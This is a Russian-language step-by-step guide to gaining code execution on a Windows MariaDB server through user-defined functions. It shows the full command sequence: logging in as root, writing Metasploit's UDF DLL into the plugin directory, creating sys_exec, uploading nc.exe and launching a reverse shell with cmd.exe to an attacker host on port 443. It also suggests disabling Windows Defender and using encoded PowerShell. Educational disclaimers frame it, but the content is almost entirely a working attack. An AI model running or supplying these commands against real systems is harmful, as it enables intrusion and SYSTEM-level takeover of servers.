
Выполнение кода через аутентифицированный доступ к базе данных
Это руководство предоставляет подробные инструкции по эксплуатации уязвимости пользовательской функции (UDF) в MariaDB на удаленном сервере. Эти шаги включают загрузку и выполнение вредоносного кода в уязвимой системе базы данных.
Предупреждение: Этот документ предназначен только для образовательных целей. Несанкционированное использование этих методов является незаконным и неэтичным.
Используйте следующую команду для подключения к серверу MySQL:
mysql -h 192.168.214.129 -u root -pPassw0rd!
Чтобы определить версию запущенного MySQL, выполните:
select @@version;
Чтобы увидеть текущего пользователя, выполните вход:
select user();
Получите все сведения, связанные с пользователем root:
select * from mysql.user where user='root';
Определите, какие привилегии есть у текущего пользователя:
show grants;
Определите, уязвима ли архитектура системы для UDF:
select @@version_compile_os, @@version_compile_machine;
Определите каталог плагинов, куда можно загружать UDF-файлы:
select @@plugin_dir;
Скопируйте 32-битную DLL из каталога эксплойтов Metasploit:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
Закодируйте файл udf.dll в формат base64:
cat udf.dll | base64 | tr -d '\n' > udf.base64
Скопируйте значение base64 из udf.base64 и передайте его на сервер MySQL:
Откройте udf.base64 в текстовом редакторе:
leafpad udf.base64
В MariaDB выполните:
select from_base64("base64 значение") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
При необходимости используйте следующий путь:
C:\Program Files\MariaDB 11.1\lib\plugin\
Выполните следующую команду в MariaDB для создания новой функции:
create function sys_exec returns int soname 'udf.dll';
Примечание: Вы также можете использовать
sys_eval,sys_get,do_systemилиsys_bineval. Убедитесь, что используетеint, а неinto.
Проверьте, была ли успешно установлена UDF-функция:
select * from mysql.func;
Скопируйте исполняемый файл Netcat в локальный каталог и закодируйте его в base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
Откройте nc.base64 в текстовом редакторе:
leafpad nc.base64
Затем в MySQL:
select from_base64("base64значениеNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
Альтернативно можно загрузить напрямую с помощью:
mysql -u root -p -h 192.168.214.129 < nc.base64
Включите прослушиватель Netcat на порту 443:
sudo nc -nlvp 443
Запустите Netcat на удаленном сервере для обратной оболочки:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
Примечание: Этот шаг может быть заблокирован Защитником Windows или другим антивирусным программным обеспечением. Рассмотрите возможность использования закодированных команд PowerShell (
powershellbase64) и убедитесь, что Защитник отключен.
Выполните команду PowerShell с помощью кодировки base64:
select sys_exec('powershellbase64');
ПРИМЕЧАНИЕ: Во многих случаях вы можете получить привилегии NT AUTHORITY SYSTEM.
Удаление функции: Чтобы удалить любые созданные UDF-функции:
drop function sys_get;
Проверка Local Infile: Проверьте, включена ли локальная запись:
show variables like 'local_infile';
Поиск пользователей с привилегией Insert: Определите, какие пользователи имеют привилегию insert:
use mysql;
select user from user where insert_priv='Y' and Host='%';
Отказ от ответственности: Этот документ предназначен только для образовательных целей и исследований в области безопасности. Неправильное использование этой информации может привести к уголовному преследованию и серьезным правовым последствиям. Всегда получайте разрешение от соответствующих органов перед тестированием любых уязвимостей в сети или системе.